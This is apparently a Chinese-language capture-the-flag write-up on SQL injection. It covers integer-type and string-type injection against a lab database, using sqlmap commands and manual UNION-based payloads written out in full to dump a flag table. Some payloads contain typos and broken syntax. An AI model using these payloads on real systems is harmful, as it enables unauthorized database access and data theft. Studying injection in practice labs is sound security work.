目录
一.前言
二.使用工具
三.知识点
四.整数型注入
1. sqlmap工具注入
2.手工注入
知识点
步骤
复现
五.字符型注入
复现
1.手工注入
2.sqlmap注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
在学习SQL注入时要了解一些MYSQL语 mysql基础学习 在URL上可以进行sql注入
可将SQL注入方式大致分为两类:数字型注入、字符型注入.
我使用 sqlmap 都是在kali中终端使用 sqlmap windows 和kali 的语法不要一样
kali中自带的sqlmap
URL中的sql注入
库 database
表 tables
字段 columns
sqlmap注入代码:
查询注入:sqlmap -u “URL”
爆破出库名和库中的表:sqlmap -u "URL" --tables (有两个 --)
爆破库的表:sqlmap -u "URL" -D 库名 -tables (只有一个-)
爆破表中的字段: sqlmap -u "URL" -D 库名 -T 表名 -columns
查询密码:sqlmap -u "URL" -D 库名 -T 表名 -C 字段名 -dump
打开环境
发现让我们输入一个1试试看 我们进行输入
在我们进行输入后发现 他显示了ID DATA(并且注意在URL上也输入了?id=1说明是GET型)
我们再进行输入2试试看
发现又进行了改变于是我们通过SQLMAP进行查询sql注入
查询代码为 sqlmap -u "URL"
发现id might be vulnerable 说明 存在注入
执行完成发现爆出了很多信息
于是我们进行爆破库
sqlmap -u "URL" --tables
发现把库爆破出来了 也发现了flag字段
所以我们爆破表 运用 sqlmap -u "URL" --D sqli --T flag -columns
爆破完成 我们现在需要的是让flag中的字段显示出来 于是我们可以运用
sqlmap -u "URL" -D sqli -T flag -C flag --dump 将里面的字段显示出来
得到flag 结束该题目
联合查询 union 当我们要sql注入在id后 可以用union将我们要执行的sql注入
schemata : 保存当前服务器里所有数据库的信息 库名
tables : 保存当前服务器里面所有数据表的信息 表名 table _name 数据表名
columns: 保存当前服务器里面所有字段信息 字段名字
要进行报错注入 就是 union前后互补影响 所以输入一个错误的信息 数据库就会回数据给你
所以我们可以输入?id=-1 union select 1,database() 因为数据库没有-1 所以返回select 1
1.查看是否有注入点
1 and 1=1
1 and 1=2 如果报错 则有注入点
2.猜有多少个字段
1 order by 1
1 order by 2
3.爆出数据库名
?id=1 and 1=2 union select 1,database()
4.爆出数据库中表的名字
?id=1 and 1=2 union select 1 group_concat(table_name) from information_schema.tables where table_shema="数据库名"
5.从表名中爆破出列名
?id=1 and 1=2 union select 1 group_concat(column_name)from information_schema.columns where table_name="表名"
6.获取flag
?id=1 and 1=2 union select 1 group_concat (flag) from "sqli.flag"
判断注入点 ?id=1 and 1=1
?id=1 and 1=2
报错 存在注入点 为 ?id=1 and 1=2
开始猜字段数
?id=1 order by 1
没有报错 ?id=1 order by 2
没有报错 ?id=1 order by 3
报错 存在2个字段数
开始爆破数据库名字
?id=-1 union select 1,database() 为什么要设置为-1呢
因为我们是要让服务器返回的是select 1,database()的数据 因为服务器没有-1 所以会返回select 1 的内容
得到数据库名字
于是我们开始爆破表名
?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1) limit 0,1(0,1从数据库地一个开始只拿一个字段)
或者我们可以得到该数据库的所有字段
运用 ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
于是我们进行爆破字段名
?id=-1 union select 1,group_concat(flag) from sqli.flag
到此 整数型注入 结束
字符型注入要考虑到 引号闭合 和 注释
我们继续先输入1
1 and 1=1
发现不行 为什么呢 我们仔细看下面的返回的代码
select * from news where id='1 and 1=1'
其中 我们想表达的id=1 变成了id='1 我们学计算机就发现 为什么只有一个单引号
于是我们输入 1' and 1=1 尝试一下
不报错了
于是我们尝试找注入点 1' and 1=2
存在注入点
于是我们接着爆破数据库名
-1' union select 1,database()
发现没有出现 报错了 为什么呢 我们看返回的代码
select * from news where id='-1' union select 1,database()'
注意最后面那个’ 为什么会有一个‘在这出现呢 这就是为了防止sql注入而放置的
我们需要绕过这个’ 怎么绕过呢 我们需要#
来把他注释掉
#+任何东西 在后台中都不执行 直接忽略
所以我们用# 注释掉‘
-1' union select 1,database() #
出现了数据库sqli
爆破数据库中的表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #
从表中得到flag
-1' union select 1,group_concat(flag) from sqli.flag #
得到flag
复制URL
sqlmap -u "URL" --tables
出现数据库 并且发现flag
爆破表
sqlmap -u "URL" -D sqli -T flag -columns
爆破出来了
然后得到结果即可
sqlmap -u "URL" -D sqli -T flag -C flag --dump
到此 SQL注入的整数型和字符型结束